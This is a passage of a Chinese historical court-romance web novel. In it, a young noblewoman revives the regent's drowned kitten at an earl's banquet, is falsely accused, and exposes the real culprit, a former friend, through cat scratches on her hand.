意识到不妙的赵福宁唰地起身,出师未捷身先死,她没计划好反而害了小福。
不行。
她得去救小福,不管来不来得及。
庭院里的阿婵生怕赵福宁伤心过度,一直守着,忽听房门打开,立刻关心道:“小姐,你出来了?饿了么?”
只见两眼红肿的福宁一溜烟冲了出去,嘴里喊着:“不吃了!套马车!我要去伯府!”
……
寿安伯府的门房见到福宁的时候,并不惊讶,都知道赵小姐是二小姐的手帕交,来往频繁,不需出示请帖,很顺利地就让进去了。
前院宾客**,福宁心急,带着阿婵抄近路绕行,一路奔向后院。
阿婵的身体素质不行,险些跟不上,“小姐,小姐慢些……”
途经廊道,碰上了几个结伴上茅房的千金。
几人见着她,似是诧异她还敢出门,别有深意地相视一眼,露出讽刺的笑,刚打算讥讽两句,就见福宁点点头。
福宁跟她们不算熟,脚步也没停下,与她们擦身而过。
几个千金讽刺的话没出口,目瞪口呆地看着福宁跑没影的方向,“不是,她家都朝不保夕了,还出来玩?多大心眼啊?”
“你可小瞧她了,没听说人家妄图攀附摄政王、被摄政王唾弃了吗?这个时辰过来,说不准就是听说了摄政王在这,想伺机接近。”
“啧啧,摄政王殿下喜欢的可是江大小姐,赵福宁不是与江二的关系很好吗,怎么好意思往前凑的。”
绿衣千金灵机一动,“走,我们去多叫些姐妹来,戳穿赵福宁。”
另几人点头,匆匆朝女宾席去。
福宁跑到湖泊边的时候,小福已经浮在水面上了,周围没有人,真凶自然是不敢留在这里的。
“那怎么有只猫?”阿婵惊讶。
“阿婵你在边上等我。”
说着,福宁抬脚脱了鞋袜,都不需要人扶,一脚踩进湖里。
这湖泊不深,她走到落水的位置时,水位刚过膝盖。
明明这么浅的湖泊,江月娇和崔兰亭宁愿看她淹死,也无动于衷。
“哗”福宁捞起了小福。
方才只是着急,而此刻,小福瘦小的身体被她捧在手上,她红肿的眼眸又落下泪来。
本来就是几个月大的小猫,这会湿透了,看着更是小了一半。
毛发都是水,还往下滴落,全无生息地躺在她的手上。
“小福……”她声音颤抖。
刚才脱袜都能站稳的双腿,这会儿竟开始发软,福宁跨步上岸,跪在岸边,将小福摆在地上。
想撕扯下自己裙摆的一角擦拭小福,可是膝盖以下都湿了,手腕处的衣袖也湿了,贴在手臂上勾勒出镯子的形状。
“阿婵,帮我。”
阿婵不由分说撕下了衣角,裹住小猫,“小姐,接下来要怎么做?”
福宁接过干净的布料,轻轻擦拭小福的面部,清理鼻腔里的泥沙异物。
正要做第二步急救,远处响起喧哗声。
为首的是刚才见过的绿衣千金,后面跟着一群年纪相仿的千金或公子。
一道极其愤怒的制止声传来——
“住手!”
“你再做什么!”
福宁没理会,小福已经没什么生息了,越耽搁时间,救回来的可能性越是渺茫。
远处赶来的人,见她不停手,上前直接将她推倒,“大胆!赵福宁你也太恶毒了!你竟然把一只猫给弄**,你怎么下得了手!”
福宁将小福护在怀里,瞪向推自己的人,嗓音嘶哑,“我在救她!”
推她的正是刚才遇到的绿衣千金,太常寺卿傅家的三小姐——傅青熹。
傅家原本是中立派,太子倒台后,一直想投靠摄政王。
以往傅青熹是不乐意参加伯府的任何宴会的,但今时不同往日,家里交代了她,要与伯府小姐交好。
不过可没交
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代要跟赵福宁交好,家中正愁没有向摄政王表忠心的机会,傅青熹看着眼前这一幕,自然不会放过这个机会。
“救?你明明是在杀害她!赵福宁你好大的胆子,这可是摄政王的宠物!”
傅青熹冷笑着,伸手去抢。
奄奄一息的小福还没救过来,就被人拉扯,福宁不敢用力,急得簌簌发抖,“你快放手!”
最终,还是见不得小福受罪,自己松了手。
傅青熹看着怀中像是**的猫,拧起眉头,“你自己勾引摄政王不成功,就怀恨在心,你以为让摄政王的猫死在伯府,就能阻止江大小姐嫁给王爷吗?简直做梦!”
阿婵听不下去了,“你胡说!我家小姐来的时候,这猫就已经落在水里了,是小姐救上来的!”
傅青熹嗤笑,“我算是明白了,原来是先淹了猫,再做戏自己救上来,若我们没有及时戳穿你,此刻你恐怕还想以救猫的名义接近摄政王吧?”
跟随而来的千金与公子,在心里都给赵福宁定了罪,讥讽与谩骂不绝于耳。
“天呐太不要脸了。”
“听说她跟江二小姐还是好友,也不知道江二小姐会有多伤心。”
“知人知面不知心的毒妇,赵家有今天不冤啊。”
“得去告诉摄政王和江伯爷。”人群中,已有人离开。
福宁听着谩骂,她自然有办法证明,自己是无辜的。
但凡有懂医的来,就知道小福溺水的时间,与她进伯府的时间,是对不上的。
可是现在与这帮人分说没有意义,他们听风就是雨,一心想抓她去摄政王那里讨功。
而她,满眼看着傅青熹怀里的小福,“傅小姐,你将小猫交给我,我或许还能救活,到时候我可以将功劳让给你,倘若救不活,这里所有人都见着是我碰了猫,与你无关。”
傅青熹见她一副很真心的样子,心里烦躁,“你说得好像我是坏人一样,你又不是大夫,有什么办法救?我若受你蒙骗,才是真的傻了!”
第21章 摄政王欲杀福宁
琴音从前院的厢房内传出。
谢珩玉靠在黄花梨太师椅上,没等来黄金,倒是等来了一支舞。
隔着纱幔,也能看出女子舞姿翩跹,似柳絮轻旋于空,轻柔又不失神秘。
白昼面色尴尬,感觉自己不该在屋里。
广袖抛出时,带过一阵风,吹起纱幔,江雪娥提袖遮面,缓缓下腰,一双秋波流转的眸透过被吹起的纱,投向纱幔另一侧。
这双眸,不论是望向谁,江雪娥都有信心能让对方痴迷,拜倒在她的石榴裙下。
奈何,她曼妙的身姿,含情的眉目,好像没有勾起男人丝毫的欲望,他还是如刚才在男宾席上一样,冷漠。
怎么回事?
难道她没有跳好?
江雪娥心中迟疑,想到父亲交代的必须彻底拿下摄政王的心,她决定再舞一曲。
那头,谢珩玉单手摆在花梨桌上,五指轻握,用指节轻轻敲着桌面,有节奏地发出“扣扣”声。
可算是知道寿安伯说的惊喜是什么了。
若是如此,那倒还不如黄金。
不等江雪娥舞完,谢珩玉就无聊地起身,忽听纱幔那边响起女子娇呼:
“王爷!”
江雪娥一急,被广袖绊了脚,摔在地上。
与此同时,厢房外,传来亲卫急切的禀报——
“王爷!小福出事了!”
“什么?”白昼先急了,“你们干什么吃的!”
话未毕,见黑色身影已经夺门而出,白昼赶紧跟了上去。
寿安伯进屋时,见女儿摔倒在地上,不算狼狈但很颓废,边上两个丫鬟呆若木鸡,他呵斥道:“快把小姐扶起来啊!”
江雪娥脑海里还回顾着,自己摔倒时,谢珩玉无动于衷的表情,她开始质疑,“父亲,您确定,摄政王当真喜欢我吗?”
寿安伯笃定,“摄政王亲自求来的赐婚,那还能有假?”
江雪娥:“那他怎么……”
寿安伯:“王爷二十三岁了,还不曾有过妻妾,定是不习惯与女子亲近,他心里有你,你只需多在他面前出现,叫他习惯你的存在,你的地位,就不可撼动了!”
闻言,江雪娥恍然点点头,“不过,摄政王的猫怎么了?”
“呀!呀呀呀!”寿安伯一拍脑门,转身跑出门,“为父去瞧瞧。”
*
湖泊边,赵福宁和傅青熹说不明白,看着小福可怜的样子,自己是有无法推卸的责任的。
她必须救小福。
干脆,一不做二不休,发了狠朝着傅青熹扑过去。
一头撞向对方的下巴。
下巴和牙齿碰撞“砰”的一响,傅青熹后退两步,惊恐地去捂嘴,没功夫再管怀里的猫,便被福宁接了过去。
其他千金与公子们见了,就要上前来帮忙抢猫。
福宁捏紧拳头,怒目而视,“谁敢碰它!若是让它死在你们怀里,你们就不怕摄政王问罪吗!”
她声音很响,颤抖的尾调透露她心底的慌乱,但并未减少她的气势。
众人面露犹豫,显然都将她的话听了进去,不再上前。
又见赵福宁提起小猫的双肢,将小猫倒挂空中,他们不可置信地睁大双眼,忍不住批判她的疯狂和恶毒——
“赵福宁真是疯了吧,众目睽睽,还敢持续行凶!”
“待会看摄政王怎么治她的罪!”
阿婵心里害怕极了,若是小姐救不活小猫怎么办?
这年头真是好事难做,望着周围充满恶意的目光,阿婵抬起袖子替赵福宁挡住那些眼神。
福宁两耳仿佛听不见议论,专心地轻轻拍打小福的背,一下两下……
还没等小福吐出水来,方才议论不停的群众忽然噤声。
一道道沉重的自带节奏的脚步声踏进,一听就是训练有素的兵士,他们带着武器赶来将所有人层层围住。
人群中让出一条道。
出现在中央的谢珩玉望着跪在地上的两名女子,因为其中一个抬着袖子,他没看见小福。
傅青熹捂着牙,恨恨地主动告状,“王爷,臣女亲眼所见,赵氏赵福宁对您的爱宠行凶!臣女想阻止,却被她殴打!”
听了这话,白昼怒吼着冲上去,“住手!”
正是紧要关头,福宁不可能停手。
下一瞬,抬袖挡着福宁的阿婵被白昼一脚踹了出去,“啊!”
福
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宁的手一顿,肩膀一重,是摄月剑出鞘,横在了她的脖颈边。
能握摄月剑的,只有一人。
她未抬头,也知道是谁。
阿婵摔在泥潭,顾不得疼痛,见到一把长剑横在自家小姐的脖子上,吓得赶紧爬起来,“小姐!我家小姐是在救猫!”
白昼二话不说,也用剑指着阿婵,不让其靠近一步。
谢珩玉低头,没了袖子遮拦,这下是看清小福了。
自己的小猫一身脏污,毫无生命力地倒挂在少女手里,明明前后才半个时辰的功夫,小福就成这样了……
心疼,愤怒,阴沉的面上,如同乌云笼罩。
“给我。”谢珩玉命令道。
福宁又拍了三两下,停下动作,就在谢珩玉以为她要将小福递给自己的时候,她却又将小福倒置了。
谢珩玉怒火中烧,“找死。”
他握紧剑柄,剑起,再落。
围观群众不约而同地闭眼,不敢看接下来的血腥场面,内心都知道:
赵福宁完了!明年的今日就是她的忌日!
可是,意料中利器割破皮肤、血液四溅的声音并未响起。
等了半晌,千金们从指缝中偷听。
只见,那把象征着权利的摄月剑剑刃,在距离赵福宁不足一寸处停下。
少女仰着头,与随时都有可能发狂的男人对视着。
生命遭到威胁,福宁心里也是怕的。
可是,都已经到了这一步,救和不救小福,摄政王都是要发火的,那她为什么不能再试试呢?
她克服内心的紧张,望着他那张生气的脸,一字一字真诚道:“我想救她。”
“再试一次。”
谢珩玉看着眼前,不被自己刀剑所震慑的少女,她像是不惧生死……不,她是惧的,她只是装作不惧怕。
他看着那双红肿的、一看就是哭了很多次的眼睛,手里的剑,迟迟落不下去。
少女眼中的悲伤、真诚,莫名让他的心里烦闷。
名为无情的面具好似有了裂痕,他竟然生出一丝侥幸。
此女虽心机深重……但她绞尽脑汁要在他面前露脸,或许她真的有把握救小福呢?
第22章 江月娇反向求情
谢珩玉刚想回答。
对方却无视了他,直接开始对小福进行新一轮的“施暴”。
……
众人目瞪口呆,不明白摄政王怎么能眼睁睁看着爱宠受欺负的。
却也不敢质疑。
福宁再拍打小福的背部三下,终于,小福的身体动了,从嘴里吐出几口水来。
看着小福的肚子开始起伏呼吸,她双臂颤抖,鼻子一酸,激动道:“小福活了,小福活了。”
绷紧的神经放松下来,欢喜的同时,也想向众人证明,她没有害小福,可是触及周围轻蔑的目光后,她慢慢冷静下来。
没人会因为她救活小福而高兴。
福宁仰起头,看向离得最近、最不可忽视的那个人,声音轻轻地重述,“小福活了。”
谢珩玉第一时间就看见了,只是,此时他看的不是猫,而是她。
倘若一个人装真心能装得如此逼真,那定是城府极深。
“给我。”
他吐出的字自带寒意,福宁并不意外,她站起身,双手将虚弱的小福奉上,“得快些给她擦干毛发,还要请大夫开药。”
谢珩玉狠戾的眉眼瞥向她,“不用你说。”
福宁低头,“是,王爷。”
谢珩玉再不看她,怀抱着猫,吩咐白昼将大夫请来伯府。
这时寿安伯终于赶到,从小厮口中了解了前因后果,大惊。
摄政王对爱宠有多在乎,明眼人都能看得出来。
爱宠差点死在伯府,说不准就会牵连伯府在摄政王心里的地位,这对伯府来说,真是无妄之灾啊!
寿安伯后怕极了,立马保证:“请王爷放心,微臣一定查明真相,为您的爱宠抓到凶手!”
字里行间,都表露出小福落水一定是被害,而不会是失足。
可他若是知道真正的凶手是他自己的女儿,该当如何?
赵福宁垂着眸,扫了扫周围,倒是没有江月娇的身影。
江月娇从始至终没敢回到案发现场。
这一出落水,是在福宁的意料之外,周围群众的恶意过于明显,她不想惹上祸事,正打算悄悄退场离开。
寿安伯一声呵斥,“你暗害王爷爱宠,还想逃跑?来人!”
所有人的视线如针一般,朝她射来。
伯府的两个嬷嬷上来就要抓人,福宁想跑也跑不了,拉扯之间,手腕处的金镯子露了出来。
她的双手被人钳制,想挡都挡不住,气急地问:“江伯伯,你没有证据证明我害了小福,凭什么抓我?”
领着亲卫离开的谢珩玉听到动静,没有驻足,没有回头看,仿佛是默许寿安伯的行为。
寿安伯昂扬着头,“那你又有什么证据证明你没有害小福呢?”
笑话!
“没有证据证明,反而要我拿证据自证清白?”福宁不服。
天底下哪有这样的事!
寿安伯秉着一副公事公办的态度,“福宁啊,你父亲犯了错,朝廷惩罚他,是公正的,你千不该万不该生出歹毒心思,事已至此,我也没法救你。”
“带走!”他发号施令。
强壮的嬷嬷问,“带去哪儿?”
带去哪儿,这个问题,寿安伯还真没想好。
毕竟伯府没有牢房,赵福宁也不是府里下人,伯府还真没有处置的权利。
眼下抓人,也是以要给摄政王一个交代的名义。
那自然是将人交给摄政王处置,最合适。
寿安伯思量片刻,就让嬷嬷将人带去前院,“让她跪在王爷门前,等候王爷发落。”
就这样,福宁心不甘情不愿地被带去了伯府前院,跪在厢房门前。
那里宾客**,宾客好奇发生何事,打听后,便将赵福宁是怎么毒害王爷爱宠的经过描述出来,传播者说得绘声绘色,仿佛是亲眼见证一般。
闻者,有的斥责议论,有的,则感慨赵家雪上加霜的境遇。
白昼请来的大夫进了厢房内,许久未出。
里面没有动静,宾客便理所当然地认为是王爷的爱宠回天乏术了。
傅青熹捂着疼痛的牙,幸灾乐祸,“赵福宁,你要为你的恶毒付出代价,这是你咎由自取。”
福宁看着眼前闭合的门,没有理会傅青熹的言语。
小福落水,是她的过错,她没有做好万全的准备就跟踪,想让外人都看见崔兰亭与江月娇私会,这是出于她的私心,却将小福置于险境。
摄政王要找真凶,她知道真凶是谁,可是,一旦说出来,又要怎么解释自己知道?
所以她想悄悄
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离场,不想掺和进来,奈何众人偏将矛头指向她。
难道她真的要担下这罪名吗?
不,她总要想一个办法的。
思量之际,听得惊讶的女声传来,正是她从前的手帕交——
“皎皎?皎皎怎么来了,还跪在这儿?”
闻声,赵福宁朝左边看去。
真凶,终于出现了。
与之一同出现的,还有崔兰亭。
只不过,两人是从两个方向来的,没有站在一起。
江月娇两颊绯红还未褪去,整个人显得红润有气色,还换了身干净的衣裳,崔兰亭则是清冷矜贵地站在廊道上。
两个人,在她落水后,去做了什么呢?
福宁的视线朝崔兰亭望去,后者与她的视线撞上,神色一紧,清冷与疏离不再,脚步加快地朝她走来。
然,半道被一只手拉住。
福宁看着他的步伐被崔伯母制止,没有意外地收回了目光,不再看他,也错过了他的反应。
另一侧的江月娇,压着嘴角,担忧地穿过人群。
傅青熹想起家中嘱托要与**女交好,趁机上前,好心地拉住江月娇,“江二小姐,我知道你与这赵氏女素来交好,可她心思歹毒,为了接近摄政王殿下,无所不用其极。”
江月娇惊讶地抬袖遮掩住口部,“发生什么事了?”
傅青熹蹬一眼赵福宁,“她,将摄政王的小猫溺水,再故意救起来,就为了在摄政王面前露脸讨好,但她没料到,天网恢恢疏而不漏,被我们给撞见了!”
极度的心虚,使得江月娇脸色煞白,“小猫溺水?她救了小猫?”
这份心虚,被傅青熹理解为了担忧好友。
“什么救了,就是她害的,小猫现在还生死不明,她彻底玩脱了,”傅青熹顺势挽上江月娇的手腕,“你心地善良,但还是别为这种人说情了。”
她何时要说情了?
不过……
江月娇的表情变幻莫测,既然傅青熹都说她善良了,她立马翻脸反而显得势利。
精光从江月娇的眼中闪过,“家中突逢变故,对皎皎已是打击,她必然是走投无路,才会出此下策,想以功劳换家族安宁,皎皎一片苦心,我作为她的朋友,怎么能弃她不顾?”
第23章 拖下去,打死
高亢的声音,无形中又为福宁定了罪。
福宁面色不改,两眼凝视着她做戏的模样。
看着昔日挚友善解人意的样子,仿佛前一刻勾引自己未婚夫的人不是她一般——不,该说是前未婚夫了。
而今,她还想将所做恶行推到自己身上,她恐怕是巴不得这样做,哪怕没有众人的推波助澜。
耳旁指责自己的声音,慢慢变成了夸赞江月娇善良的言语。
福宁觉得好笑,仍直视着江月娇,开口问,“你也觉得,是我做的吗?”
江月娇觉得赵福宁哪里变了,却又没空多想,当下被千金公子们夸得飘飘然,心情也变得更好。
还是头一遭,享受到众星捧月的感觉。
这种不管说什么、做什么都会被夸赞的感觉,真好。
而这一切,都是因为有了摄政王这个姐夫。
所以,自己害了小猫的真相,绝不能被发现。
至于还有一个知道真相的崔兰亭,江月娇并不担心,崔兰亭不会说出真相的,因为真相的背后,代表了他见死不救,那么崔家也逃不过被摄政王厌恶。
江月娇一步步走到福宁面前,居高临下地站了一瞬,才蹲下身苦口婆心道:“皎皎,遇到挫折不能走上歧途,做错事没关系,但要勇于承认错误。”
福宁闻言,也算是意料中。
她看着江月娇,就在江月娇以为她会反驳的时候,福宁忽地笑了,什么也没说。
她低下头,看向江月娇用袖子遮挡住的抓痕。
她想到办法了。
既然江月娇不想给她一条路,那她又何必给对方退路?
福宁移开目光,“等会儿,我就向摄政王坦白。”
江月娇一愣,没想到曾经被赵家宠得不怕天不怕地的少女,竟然会直接认罪。
看来赵家的落魄,真的压弯了她的脊梁,让她宁愿认罪从宽处理,也不想抗拒从严。
活脱脱一个怂包。
这样的赵福宁,崔兰亭还会喜欢吗?
答案是显而易见的,江月娇嘴角弯起一抹笑,鼓励道:“嗯,你愿意改正就好,不过……”
她突然泛起犹豫,“皎皎,我希望你以后不要存这些不该有的心思了,摄政王殿下身份尊贵,且不说他看不看得上你,单一条,我阿姐是未来的王妃,你若执意想博得王爷关注、去王府为婢为妾,我会很为难的。”
福宁冷眼看着她故意激起宾客们的嘲讽。
“赵应那个人看着本分,怎么教养出这样的闺女?”
“赵应也不本分,被革职是咎由自取,说不准废太子谋反也有他的出谋划策呢。”
“这话可不兴乱说,不是还在查吗?”
“我看就是真的了,要不是心虚,何必放着长平侯府的婚约不要,让自己的闺女出来勾引摄政王?自甘**。”
“对哦,赵小姐和长平侯世子还有婚约,天呐,长平侯府太惨了,摊上这种人家。”
赵家与崔家解除婚约不过才过去几个时辰,还不被众人熟知。
一道道压着音量、充满恶意的言语,隔着一道门,传进了房中。
房内的气氛不比外头,寿安伯站在门边像个守门的。
房中安静的,连针落在地上都能听见声,更何况是外面的声音。
他盯着塌边站着的颀长背影,不敢动作。
在大夫连叹两声气后,屋内显然是更压抑了。
谢珩玉问,“怎么?”
大夫努力将小福擦干净,谨慎道:“幼猫本来就不比成年猫好养活,此番溺水,元气大伤,恐怕还需要观察三日,服药三日,确保不会因为呛水引发肺部毛病与风寒,才能脱离危险。”
见谢珩玉皱眉,大夫马上殷勤夸赞,“按照草民以往诊病的案例,溺水的猫多是救不活了,而王爷却能及时救猫,可见王爷没少学习救治动物的办法啊,王爷妙手回春,草民佩服。”
谢珩玉听闻,眉头非但没舒展,还蹙得更紧了。
小福不是他救的,而是……
谢珩玉忽然想到什么,问,“救治动物的医书,寻常人会看吗?”
大夫摇头,“自然是少,会看动物医书的人,那都是对宠物真的上了心的。”
谢珩玉偏头,“寿安伯。”
寿安伯连忙上前,“王爷。”
谢珩玉漠然发问,“那赵……”没记住名字,“赵家女有养动物吗?”
寿安伯笃定,“没有,微臣确定,赵家没养动物。”
“没养动物,还懂怎么救
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,那岂不是故意的?”白昼嘴快,嘶了一声,“看来是真的了,赵小姐先害小福,再救小福,就为了博取王爷关注,一个姑娘家家的,心怎么能这么狠!王爷,要怎么处置?”
谢珩玉看着榻上气息奄奄、毛发凌乱的小福,半晌后,发出一声抑着怒的低笑。
如地狱阎罗,如黄泉鬼魅,又如深渊钻出的冰凉触手抚上了闻声者的后背,叫他们毛骨悚然。
此时,房外不知情的宾客们的议论声还未断。
在愈演愈烈地讥讽声中,福宁想好了能让自己全身而退的说辞,于是高声大喊——
“摄政王殿下,臣女要坦白!”
她突然一嗓子,吓了边上的江月娇一跳。
江月娇深呼吸,古怪地看着她,“皎皎,你,罢了,早些认错也好,你放心,我会为你求情的。”
说着,伸手抚上福宁的手腕,安抚性地拍了拍。
“嘭!”面前的门毫无征兆地被踹开。
也不知道踹门者用了多大的劲,两扇门直直地朝两人砸了下来。
“小心!”紧张的男声从边上传来。
福宁看着门掉落下来,正要往旁边躲,眼前蓝色一闪而过。
她被崔兰亭拉进怀里,门砸在崔兰亭的背上。
江月娇闪得快,等门掉下来的时候,已经狼狈地躲在一边,睁开眼看见心上人抱着赵福宁,牙齿都快咬碎了。
但此刻最无法忽略的,是走出门槛的摄政王。
谢珩玉阴鸷地看向江月娇,“求情?你要跟她一起死吗?”
早就听闻摄政王杀伐果断,狠毒无情,江月娇甚至不敢直视他,听了这话,仿佛毒蛇爬上了后背,她惧得唇色苍白,身子瑟瑟发抖,不敢回答。
肃杀之气从房内蔓延,议论声也止了,宾客们噤若寒蝉。
他们也从摄政王的话语中,提炼出重点——
赵福宁要**。
福宁本人还没群众那么震惊,她先推开了崔兰亭,然后朝谢珩玉望去。
现在的谢珩玉,比方才在湖泊边的谢珩玉,更愤怒了。
不过,她有把握。
“王爷——”她刚开口。
就被谢珩玉打断,“拖下去。”
“打死。”
……
第24章 福宁呼吸,摄政王:手段了得
他随意地决定了她的生死,连眼皮都不用抬一下,语罢就要转身回屋。
“不是,”福宁气得跪着往前摩擦两步,“王爷打死我之前,不用收集一下证据吗?”
白昼上前,挡住她靠近谢珩玉,“王爷不需要做那些费劲的事。”
真是给人气笑了。
福宁还欲再辩,旁边的崔兰亭跪在她身侧,主动替她求情,“还请王爷高抬贵手。”
谢珩玉停住回房的脚步,像是发现了有意思的事,“崔世子要求情?”
崔兰亭:“是。”
谢珩玉居高临下地睥睨着,视线在崔兰亭与赵福宁之间打转,蓦地冷笑一声,“不知道的,还以为崔世子多深情呢。”
这话,初听,阴阳怪气的。
细品,也没好到哪里去。
难道摄政王也知道崔家欲退婚、纳她为妾的事了?
福宁皱起两根古怪的眉毛,又听他幽幽道——
“本王想杀谁,还没人能阻止。”
“你若想一起**,也没人能阻止。”
他的话比十二月的冰霜更让人彻骨寒。
福宁在这个时候,抬头了。
没人比她更知道,他有多在乎小福。
对上那双凉薄的眸,她克服了内心的畏惧,平静道:“我不是凶手,但我知道凶手是谁。”
静谧的庭院里,一句话迅速在众人的内心炸开涟漪。
在谢珩玉发话前,福宁抱着能说多少说多少的态度,快速道——
“我知道您不信我,可是根本没有证据证明我是凶手,若只因偏见就定罪,那是草菅人命,哪怕王爷您不在乎一条性命,那小福呢,多可怜啊,才来世上不久就命运多舛,位高权重的您却连真凶都没抓到。”
她语速极快,但口齿十分清晰。
谢珩玉眯了眯眼,“说完了?”
福宁点点头,深吸两口气缓缓。
谢珩玉盯着她的每一个表情变化,却见她只是用力深呼吸。
呵。
说了一堆废话,真凶是谁又不说。
故意吊着他,当真是好手段!
福宁气息平稳了,正要继续说呢,对方却不耐烦地先问了——
“是谁。”他阴冷地问。
宾客们不寒而栗,更别提她身边两位心虚的人了。
崔兰亭拉住福宁,眸光柔和,“皎皎,你哪里会知道谁是真凶,不要意气用事。”
去他的意气用事。
都火烧眉毛了,崔兰亭明知道凶手是谁,还想她闭嘴乖乖等死吗?
福宁对崔兰亭的失望又多一分,想抽回手腕,一抽还抽不出来,她偏头,“你怎么知道我不知道,那你知道吗?”
“我……”崔兰亭被她问住了,心底生出愧疚。
他当然知道,只是不能说。
但也不能看着她瞎编,一旦被戳穿,摄政王只会更生气,他便更难保住她了。
一旁的江月娇,见赵福宁胸有成竹,倒有些慌了神。
江月娇不确定她是什么时候进的伯府,是不是早就看到了自己与崔兰亭私会、踹猫下水的过程?若是,那么她能及时赶去救猫,也说得通了!
越想,越是心惊。
绝不能让她开口!
于是,江月娇又跪到了福宁的身边,“皎皎,你不能再骗人了,王爷会更生气的。”
福宁左右两只手腕,被左右两个人拉住。
实在忍不住嗤笑一声,而后她也说起瞎话,“摄政王温和讲道理,怎么被你说得好像会**一样,我说实话也不成吗?”
谢珩玉缓缓抱起双臂,不耐烦地看着唱戏般的三人,也不打断。
江月娇吓坏了,朝前方磕头,“臣女不敢冒犯王爷,王爷当然不会**,是皎皎有错在先,请王爷饶了皎皎一命。”
站在谢珩玉身后的寿安伯,哪里知道这一切是女儿所为,见女儿求情,眉头一蹙,当下就过去将女儿扶起来:
“娇娇,爹爹知道你重感情,但是赵福宁心思歹毒,不仅谋害王爷爱宠,还妄图攀附王爷,她都不曾顾念我们江家的脸面,你何必管她?”
“来人,将小姐扶下去!”
寿安伯招来两个丫鬟,火速地将江月娇拉到一边。
江月娇脸上白了又白,很多话不能在这个场合说,“不是,爹……”
寿安伯歉疚低头:“小女不懂事,还望王爷莫要怪罪。”
又亲自给搬来了椅子,请谢珩玉坐下。
谢珩玉没有错过江月娇的心虚,坐下的同时,修长的腿一跨。
黑靴在福宁的眼前一晃,脏污的鞋底差点要在她白皙
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的脸上留下痕迹,她下意识往后一仰躲开,等重新跪直身体的时候,眸光往上一瞟。
黑靴的主人已经靠在椅子上,从容又冷峻地翘着二郎腿,仿佛刚才差点踹到她的行为,不值一提。
至于他是不是故意的,她又有什么资格追究呢?
福宁紧抿着唇,**的愤怒由心底升起,很快内部自我消化。
谢珩玉的视线漫不经心地扫过她的脸颊,本就小巧的嘴唇看着又小了一半,少女未垂下的眼睫毛颤了颤,底下蕴藏着的气忿,不难看出。
白昼站在一旁催促,“赵小姐,别卖关子了,你到底知不知道啊!”
福宁实在忽略不了谢珩玉的靴子,摩挲着往后跪两步,远离他。
其实江月娇有句话说得不错,她接下来要说的话,的确是瞎编。
环顾四周,在一众人各异的神色中,她开始了——
“启禀王爷,我救小福的时候,发现它的指甲缝里带着血丝,定是有人与小福发生冲突,将它抛下水。”
“正所谓天网恢恢疏而不漏,那人定没想到小福还能生还,人必然还在府里,只需要验一验伤即可。”
这番说辞,既能找出真凶,又能让自己全身而退,不会被怀疑。
人群里的江月娇心虚得差点摔倒,更不敢将手伸出来。
这简直比赵福宁亲眼看见、直接指证自己,还要糟糕。
若只是指证,江月娇还能说她是嫉妒自己,可是有了实证,要怎么狡辩呢!
至于崔兰亭,脸色虽未改,实则心里已经绷紧了。
他既不想皎皎出事,也不想真相被查出,可是到了现在这一步,若必须要有个取舍……
那厢,白昼已经进屋查证,出来板着脸道:“赵小姐,小福的爪子里并没有你说的血丝。”
江月娇松了口气。
崔兰亭亦是,他立马开口,“王爷,我愿意替皎皎受过,还请您高抬贵手。”
谢珩玉一语不发,看都没看他一眼。
福宁没想到白昼那么严谨,她是瞎编的,小福的爪子里当然不会有血丝。
不过没关系。
她还有说法,“小福经过擦拭,残留之物被擦掉了也正常,但留在人身上的伤痕没那么快消失,只需要验伤就可以。”
第25章 谢珩玉公正得像个判官
白昼看向谢珩玉,后者微颔首。
寿安伯有些犹豫,“王爷,今日来的都是有头有脸的人物,就凭赵氏一句话,就让所有人脱光验身,是不是有点……”
后面的话,在谢珩玉的淡淡的一瞥下戛然而止。
改成了“臣,这就去办。”
他们商量好了,福宁却觉得不妥,真要是让寿安伯的人去验伤,定然会隐瞒江月娇受伤的事实。
倒不如——
“其实不用这么麻烦,”福宁提议,“能叫猫抓出血、还没破衣裳的地方,肯定是露在外面的皮肤。”
说着,她伸出一双手,“就比如,脸,脖子,手,让大家都伸出来看看不就好了。”
少女的手,白里透着粉红,但因为刚才泡了水,而微微起皱。
顺着她白皙的手往上,谢珩玉又看见了露出来的黄金一角。
但很快,她将袖子把手腕盖得严严实实的。
就好像谁能觊觎她那只破镯子似的。
这个年纪的姑娘,带些玉饰不好吗,品味低下,俗气得很。
谢珩玉凝视着她,“照她说的办。”
白昼挥挥手,亲卫队分成两队出发,一队将这个庭院内的宾客围住。
另一队出发去茶话宴的席上,席上的客人还不知发生了什么,就被要求伸出两只手、露出脖子查看,不久后,亲卫回来禀报,“回王爷,无异常。”
在场的宾客也十分配合,傅青熹不屑地抬了抬下巴,无愧于心地主动让检查,“赵福宁,你撒谎也不打草稿,看你待会怎么诡辩。”
福宁看着出头鸟,老气横秋地小叹一口气,转眼瞥见人群中那抹想要悄悄离开的人影,她“好心”地叫住——
“娇娇你去哪儿?你不要为我担心,也不用替我报信家里。”
这一嗓子,人群中那抹想要逃离的纤细身形顿住,吸引了众人的目光。
大家也都不是傻子,早不走晚不走,偏偏检查手的时候要走,这江小姐……众人的眼神逐渐耐人寻味。
江月娇背着身,紧紧咬着牙,面上闪过一抹怨恨。
这蠢东西怎么能在这个时候喊住她?!
是想害死她吗!
“江二小姐。”白昼冷冰冰的声音响起,略过亲卫,一步步走到江月娇身边。
“踏、踏、踏”的脚步声,不仅让江月娇恐惧,也让寿安伯变得不安。
女儿为什么要在这个时候走?难道……小猫溺水,和女儿有关?
这想法一出,寿安伯后背发凉,赶在白昼检查之前,跪在谢珩玉面前,“王爷,小女天真良善,没见过这场面,大抵是吓着了,想去寻她姐姐了。”
他故意搬出大女儿,妄图让谢珩玉心软。
毕竟,摄政王会是娇娇的姐夫,以后都是一家人啊!
可惜,后者哪有半点动容。
谢珩玉见面前跪坐着的少女一眨不眨地盯着江月娇,说出的话听似天真无辜,实则不然,恐怕是早知对方有问题,偏又不直说,绕这么大一圈,故意等到江月娇藏不住了,才将众人注意力引过去。
赵……什么宁,果然是心思深沉。
不过那一位,显然更加歹毒。
“王爷,看在娥娥的面子上,您——”寿安伯还在说话。
谢珩玉不想听,“你太聒噪了。”
寿安伯一噎,剩下的话咽回了肚子里。
那厢,江月娇双腿打颤,不愿配合,白昼收到王爷的眼神明示,直接将人的手抬起。
“不,不要——”她惊叫,想抽回手。
白净的手背上,刚上过药的三道抓痕仍旧明显,曝光在所有人的目光下,躲也躲不了。
“天呐,竟然是江二小姐,她为什么要这么做?”
“那她刚才还为赵小姐求情,我还以为她们当真关系很好,原来是……”假惺惺啊。
傅青熹不敢相信地后退一步,张张嘴,说不出话来。
